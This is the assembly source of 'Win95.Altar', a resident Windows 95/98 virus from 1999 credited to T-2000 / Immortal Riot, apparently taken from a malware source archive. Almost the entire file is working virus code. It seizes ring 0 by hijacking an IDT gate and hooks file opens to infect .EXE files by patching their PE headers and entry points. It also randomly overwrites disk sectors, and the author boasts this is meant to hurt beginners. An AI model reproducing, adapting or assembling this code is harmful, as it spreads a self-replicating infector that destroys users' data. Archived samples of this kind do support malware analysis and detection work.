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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.altar.asm

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2021-01-12 23:29:01 +00:00
;============================================================================
;
;
; NAME: Win95.Altar 1.01
; OS: Windoze 95/98.
; TYPE: Parasitic resident (VxD) PE-infector.
; SIZE: Around 800 bytes.
; AUTHOR: T-2000 / Immortal Riot.
; E-MAIL: T2000_@hotmail.com
; DATE: June 1999.
; DESTRUCTIVE: Yeah.
;
; FEATURES:
;
; - Gains ring-0 by hacking an IDT-gate.
; - Hosts don't increase in size.
; - Payload: random sector-trashing.
;
; Here's some simple ring-0 VxD-virus, just to try-out the idea. The trash-
; chance was set rather high, just to fuck beginners :P
;
;============================================================================
.386p
.MODEL FLAT
.CODE
ORG 0
EXTRN ExitProcess:PROC
IFSMgr EQU 0040h
GetHeap EQU 000Dh
UniToBCSPath EQU 0041h
InstallFileSystemAPIhook EQU 0067h
Ring0_FileIO EQU 0032h
IFSFN_OPEN EQU 36
R0_WRITEFILE EQU 0D601h
Virus_Size EQU (Virus_End-START)
Virus_Size_Mem EQU (End_Virus_Mem-START)
START:
PUSH (1000h+(Carrier-START))
Host_EIP = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV EAX, EBP
SUB EAX, 1000h ; Calculate base-address.
Virus_RVA = DWORD PTR $-4
ADD [ESP+(9*4)], EAX ; Add base to the EIP RVA.
XOR EAX, EAX
CALL Setup_SEH ; Bail-out without errors
; under NT.
MOV ESP, [ESP+(2*4)]
JMP Return_Host
Setup_SEH: PUSH DWORD PTR FS:[EAX]
MOV FS:[EAX], ESP
PUSH EAX ; Store IDT in EAX.
SIDT [ESP-2]
POP EAX
LEA EBX, [EBP+(Ring0_Installation-START)]
XCHG [EAX+(3*8)], BX ; Hack IDT-gate.
ROR EBX, 16
XCHG [EAX+(3*8)+6], BX
INT 3
MOV [EAX+(3*8)+6], BX ; Restore IDT-gate.
ROL EBX, 16
MOV [EAX+(3*8)], BX
Return_Host: XOR EAX, EAX ; Restore the original SEH.
POP DWORD PTR FS:[EAX]
POP EAX
POPAD
POPFD
RET ; RETurn to our host.
Copyright DB '[Altar] by T-2000 / Immortal Riot', 0
VxD_Ring0_FileIO:
INT 20h
DW Ring0_FileIO
DW IFSMgr
RET
Ring0_Installation:
PUSHFD
PUSHAD
MOV EAX, DR2 ; Get DR2 in EAX.
CMP AL, 'T' ; We're already resident?
JE Exit_R0_Inst
LEA EDI, [EBP+(VxD_Ring0_FileIO-START)]
MOV AX, 20CDh
STOSW
MOV [EDI], 00400032h
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)-2], AX
MOV [EDI+(VxD_Call_1-VxD_Ring0_FileIO)], 0040000Dh
MOV [EDI+(VxD_Call_2-VxD_Ring0_FileIO)], 00400067h
MOV [EDI+(VxD_Call_3-VxD_Ring0_FileIO)], 00400041h
PUSH Virus_Size_Mem ; Allocate memory from the
INT 20h ; global heap.
DW GetHeap
DW IFSMgr
VxD_Call_1 = $-6
POP ECX
OR EAX, EAX ; Error occurred?
JZ Exit_R0_Inst
MOV ESI, EBP ; Copy us to VxD-memory.
MOV EDI, EAX
CLD
REP MOVSB
MOV [EAX+(Busy_Switch-START)], ECX
ADD EAX, (Ring0_Hook-START)
PUSH EAX ; Insert our file-hook.
INT 20h
DW InstallFileSystemAPIhook
DW IFSMgr
VxD_Call_2 = $-6
POP EBX
XCHG ECX, EAX ; Error?
JECXZ Exit_R0_Inst
MOV [EBX+(Prev_Handler-Ring0_Hook)], ECX
MOV AL, 'T' ; Mark us as resident.
MOV DR2, EAX
Exit_R0_Inst: POPAD
POPFD
IRETD ; Back to our ring-3 part.
Ring0_Hook:
JMP $+666h
Busy_Switch = DWORD PTR $-4
PUSHFD
PUSHAD
CALL Get_Delta
MOV DWORD PTR [EBP+(Busy_Switch-START)], (JMP_Prev_Hook-Busy_Switch) - 4
CMP DWORD PTR [ESP+(9*4)+(2*4)], IFSFN_OPEN
JNE Exit_Infect
CALL Get_Random
CMP DL, 5
JA Obtain_Name
CALL Get_Random
MOV AX, 0DE02h ; R0_WRITEABSOLUTEDISK
INC ECX
LEA ESI, [EBP+(Copyright-START)]
CALL VxD_Ring0_FileIO
Obtain_Name: MOV EBX, [ESP+(9*4)+(6*4)] ; IOREQ-structure.
MOV ESI, [EBX+(3*4)] ; Unicode-path.
CLD
LODSD
PUSH DWORD PTR [ESP+(9*4)+(5*4)]
PUSH 259
PUSH ESI
LEA ESI, [EBP+(ANSI_Target-START)]
PUSH ESI
INT 20h
DW UniToBCSPath
DW IFSMgr
VxD_Call_3 = $-6
ADD ESP, (4*4) ; Fix stack.
OR EDX, EDX ; No problems during the
JNZ Exit_Infect ; conversion?
MOV [ESI+EAX], DL
CMP [ESI+EAX-4], 'EXE.' ; Standard .EXE-file?
JNE Exit_Infect
XOR EAX, EAX ; R0_OPENCREATFILE
MOV AH, 0D5h
PUSH 02h
POP EBX
INC EDX
CALL VxD_Ring0_FileIO
JC Exit_Infect
XCHG EBX, EAX ; Save filehandle in EBX.
XOR EAX, EAX ; R0_GETFILESIZE
MOV AH, 0D8h
CALL VxD_Ring0_FileIO
CMP EAX, 4096 ; Avoid infecting files which
JC_Close_File: JB Close_File ; are too small.
MOV [EBP+(Victim_Size-START)], EAX
LEA EDI, [EBP+(Header-START)]
; Read-in the DOS MZ-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40h
POP ECX
XOR EDX, EDX
MOV ESI, EDI
CALL VxD_Ring0_FileIO
JC JC_Close_File
CMP [EDI.MZ_Mark], 'ZM' ; It's a valid .EXE-file?
JNE Close_File
MOV EDX, [EDI+3Ch] ; Pointer to PE-header.
MOV [EBP+(PE_Header_Offs-START)], EDX
; Read-in PE-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 92
POP ECX
CALL VxD_Ring0_FileIO
CMP [EDI.PE_Mark], 'EP' ; Verify the PE-header.
JNE Close_File
CMP [EDI.PE_Checksum], -666h ; Avoid infected
JE Close_File ; files.
MOVZX EAX, [EDI.Object_Count]
DEC EAX
PUSH 40
POP ECX
MUL ECX
MOVZX DX, [EDI.NT_Header_Size]
LEA EDX, [EDX+24+EAX]
ADD EDX, [EBP+(PE_Header_Offs-START)]
MOV [EBP+(Last_Obj_Offset-START)], EDX
; Read-in the last object-header.
XOR EAX, EAX ; R0_READFILE
MOV AH, 0D6h
PUSH 40
POP ECX
LEA ESI, [EBP+(Last_Obj_Table-START)]
CALL VxD_Ring0_FileIO
MOV EAX, [ESI.Section_Physical_Size]
CMP EAX, [ESI.Section_Virtual_Size]
JBE Check_Size
MOV EAX, [ESI.Section_Virtual_Size]
Check_Size: PUSH EAX
MOV ECX, Virus_Size
ADD EAX, ECX
ADD EAX, [ESI.Section_Physical_Offset]
CMP EAX, 12345678h ; File increases in size?
Victim_Size = DWORD PTR $-4
POP EAX
JA Close_File ; Then abort the infect.
PUSH EAX
PUSH EAX
ADD EAX, ECX
PUSH EAX
MOV ECX, [EDI.File_Align]
CALL Align_EAX
CMP [ESI.Section_Physical_Size], EAX
JNB Calc_New_Virt
MOV [ESI.Section_Physical_Size], EAX
Calc_New_Virt: POP EAX
MOV ECX, [EDI.Object_Align]
CALL Align_EAX
CMP [ESI.Section_Virtual_Size], EAX
JNB Set_New_EIP
ADD [EDI.Image_Size], EAX
XCHG [ESI.Section_Virtual_Size], EAX
SUB [EDI.Image_Size], EAX
Set_New_EIP: POP EAX
ADD EAX, [ESI.Section_RVA]
MOV [EBP+(Virus_RVA-START)], EAX
XCHG [EDI.EIP_RVA], EAX
MOV [EBP+(Host_EIP-START)], EAX
; Write updated object-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 40
POP ECX
MOV EDX, 12345678h
Last_Obj_Offset = DWORD PTR $-4
CALL VxD_Ring0_FileIO
POP EDX
; Insert virus-body into our victim.
MOV EAX, R0_WRITEFILE
MOV ECX, Virus_Size
ADD EDX, [ESI.Section_Physical_Offset]
MOV ESI, EBP
CALL VxD_Ring0_FileIO
; Mark file as infected.
MOV [EDI.PE_Checksum], -666h
; Write updated PE-header back to disk.
MOV EAX, R0_WRITEFILE
PUSH 92
POP ECX
MOV EDX, 12345678h
PE_Header_Offs = DWORD PTR $-4
MOV ESI, EDI
CALL VxD_Ring0_FileIO
; Close the file.
Close_File: XOR EAX, EAX ; R0_CLOSEFILE
MOV AH, 0D7h
CALL VxD_Ring0_FileIO
Exit_Infect: XOR EAX, EAX ; Reset busy-flag.
MOV [EBP+(Busy_Switch-START)], EAX
POPAD
POPFD
JMP_Prev_Hook: JMP DS:[12345678h]
Prev_Handler = DWORD PTR $-4
DB 'Awaiting the sacrifice...', 0
Align_EAX:
XOR EDX, EDX
DIV ECX
OR EDX, EDX
JZ Calc_Aligned
INC EAX
Calc_Aligned: MUL ECX
RET
Get_Delta:
CALL Get_EIP
Get_EIP: POP EBP
SUB EBP, (Get_EIP-START)
RET
Get_Random:
IN EAX, 40h
ADD EDX, EAX
Randomize: IN EAX, 40h
XCHG AH, AL
ADD EAX, 0DEADBEEFh
RCL EDX, 3
XOR EDX, EAX
LOOP Randomize
RET
Virus_End:
ANSI_Target DB 260 DUP(0)
Header DB 92 DUP(0)
Last_Obj_Table DB 40 DUP(0)
End_Virus_Mem:
Carrier:
PUSH 0
CALL ExitProcess
; The good old MZ-header...
MZ_Header STRUC
MZ_Mark DW 0
MZ_Image_Mod_512 DW 0
MZ_Image_512_Pages DW 0
MZ_Reloc_Items DW 0
MZ_Header_Size_Mem DW 0
MZ_Min_Size_Mem DW 0
MZ_Max_Size_Mem DW 0
MZ_Program_SS DW 0
MZ_Program_SP DW 0
MZ_Checksum DW 0
MZ_Program_IP DW 0
MZ_Program_CS DW 0
MZ_Reloc_Table DW 0
MZ_Header ENDS
PE_Header STRUC
PE_Mark DD 0 ; PE-marker (PE/0/0).
CPU_Type DW 0 ; Minimal CPU required.
Object_Count DW 0 ; Number of sections in PE.
DD 0
Reserved_1 DD 0
DD 0
NT_Header_Size DW 0
PE_Flags DW 0
DD 4 DUP(0)
EIP_RVA DD 0
DD 2 DUP(0)
Image_Base DD 0
Object_Align DD 0
File_Align DD 0
DW 0, 0
DW 0, 0
DW 0, 0
PE_Reserved_5 DD 0
Image_Size DD 0
Headers_Size DD 0
PE_Checksum DD 0
DW 0
DLL_Flags DW 0
PE_Header ENDS
Section_Header STRUC
Section_Name DB 8 DUP(0) ; Zero-padded section-name.
Section_Virtual_Size DD 0 ; Memory-size of section.
Section_RVA DD 0 ; Start section in memory.
Section_Physical_Size DD 0 ; Section-size in file.
Section_Physical_Offset DD 0 ; Section file-offset.
Section_Reserved_1 DD 0 ; Not used for executables.
Section_Reserved_2 DD 0 ; Not used for executables.
Section_Reserved_3 DD 0 ; Not used for executables.
Section_Flags DD 0 ; Flags of the section.
Section_Header ENDS
END START
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